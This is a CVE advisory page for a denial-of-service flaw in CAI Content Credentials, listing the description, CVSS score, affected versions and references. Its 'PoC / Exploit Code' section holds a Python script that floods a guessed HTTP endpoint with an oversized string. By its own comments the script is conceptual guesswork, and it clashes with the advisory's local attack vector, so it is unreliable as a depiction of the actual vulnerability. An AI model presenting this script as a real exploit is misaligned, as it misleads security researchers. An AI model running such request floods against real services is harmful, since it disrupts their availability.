CVE-2026-34688

Description

CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

CAI Content Credentials <= 0.78.2

CAI Content Credentials <= 0.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Conceptual Proof of Concept (PoC) for CVE-2026-34688
# This script demonstrates how improper input validation
# can lead to a Denial of Service (DoS) in CAI Content Credentials.

TARGET_URL = "http://localhost:8080/api/verify"

def trigger_dos():
    # Craft a malicious payload that bypasses validation
    # This could be an oversized string or specific malformed characters
    # depending on the actual implementation details of the vulnerable component.
    malicious_payload = "A" * 100000  

    headers = {
        "Content-Type": "application/json"
    }

    try:
        print(f"Sending payload to {TARGET_URL}...")
        response = requests.post(TARGET_URL, json={"data": malicious_payload}, headers=headers, timeout=5)
        print(f"Request completed with status: {response.status_code}")
    except requests.exceptions.Timeout:
        print("[+] Potential DoS triggered: Server timed out.")
    except requests.exceptions.ConnectionError:
        print("[+] Potential DoS triggered: Server connection refused (crashed).")
    except Exception as e:
        print(f"[!] An error occurred: {e}")

if __name__ == "__main__":
    trigger_dos()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34688
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34688
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34688/
[4] VulDB https://vuldb.com/cve/CVE-2026-34688
[5] https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html

Raw JSON Data

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